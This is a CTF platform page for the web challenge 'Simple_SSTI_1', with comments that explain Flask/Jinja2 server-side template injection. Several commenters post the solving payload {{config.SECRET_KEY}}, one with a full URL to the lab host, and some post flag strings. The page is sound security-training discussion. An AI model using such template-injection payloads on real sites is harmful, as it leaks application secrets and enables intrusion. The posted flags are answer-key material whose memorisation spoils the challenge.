Simple_SSTI_1WEB 未解决

分数: 5 金币: 2
题目作者: valecalida
一  血: dotast
一血奖励: 2金币
解  决: 27832
提  示:
描  述:
Simple_SSTI_1
评论
Komorebi41 11月前

在网址后面加上: /?flag={{config.SECRET_KEY}}的原因:flask的模板注入.flask会把类似于 {]的变量当做参数来渲染并填充到web页面,且根据F12后代码提示,我们知道是在config.secret_key中的

回复 10

kingx3 11月前

SSTI全称Server side template injection.服务端模板注入.这节课主要讲flask的模板注入.flask会把类似于 {]的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞.模板注入只会存在于二次渲染中,无二次渲染不会出现模板注入。

回复 7

kingx3 11月前

Flask是python语言下的轻量级web应用框架,可以用来开发一些简单的网站。它使用Jinjia2渲染引擎(将html文件存放在templates文件夹中,当访问指定路由时,flask会渲染出相应的html页面)。 但是html文件中不一定都是html语言,Jinjia2引擎支持html文件中内嵌{{}}来使用特定的变量,或者使用{%%}来执行python语句。因此,就会导致模板注入SS

回复 11

冷夜闻风 12月前

flag{e0ad0234936fcd15f11c7bb0f9d587e7}

回复 0

啵咯啵咯 1年前

在网址后面加上: /?flag={{config.SECRET_KEY}}

回复 3
Ysamer 11月前

这是什么原理

回复 0

大哥大 12月前

為什麼

回复 4

鸡你太美 1年前

flag{96df90d0f913f6e960b78dfb42e23bce}

回复 0

鸡你太美 1年前

传入一个变量?flag={{config}}

回复 0

19572987849 1年前

SECRET_KEY

回复 0

ctfjingsai 1年前

flag{32b9d809b374a1916bc2aca5af1d2e11}

回复 0

wuweiw 1年前

http://114.67.175.224:19724/?flag={{%20config.SECRET_KEY}}

回复 0

WriteUp

image
valecalida

5 金币

评分(49)

解题动态

orange2643 攻破了该题 1天前
l0c4lho5t 攻破了该题 5天前
linjiaming 攻破了该题 5天前
旺角猛龙 攻破了该题 7天前
zhaoli250 攻破了该题 7天前
230306029 攻破了该题 7天前
3084676202 攻破了该题 8天前
DreamHAX 攻破了该题 8天前
POEighT 攻破了该题 9天前
13134483998 攻破了该题 10天前
15226967835 攻破了该题 14天前
soyotion 攻破了该题 16天前
jungle 攻破了该题 16天前
Fyin 攻破了该题 16天前
adlm 攻破了该题 21天前
xin308098585 攻破了该题 23天前
ZhangKX 攻破了该题 24天前
13161167255 攻破了该题 24天前
admin9001 攻破了该题 24天前
ttt111 攻破了该题 24天前
问题反馈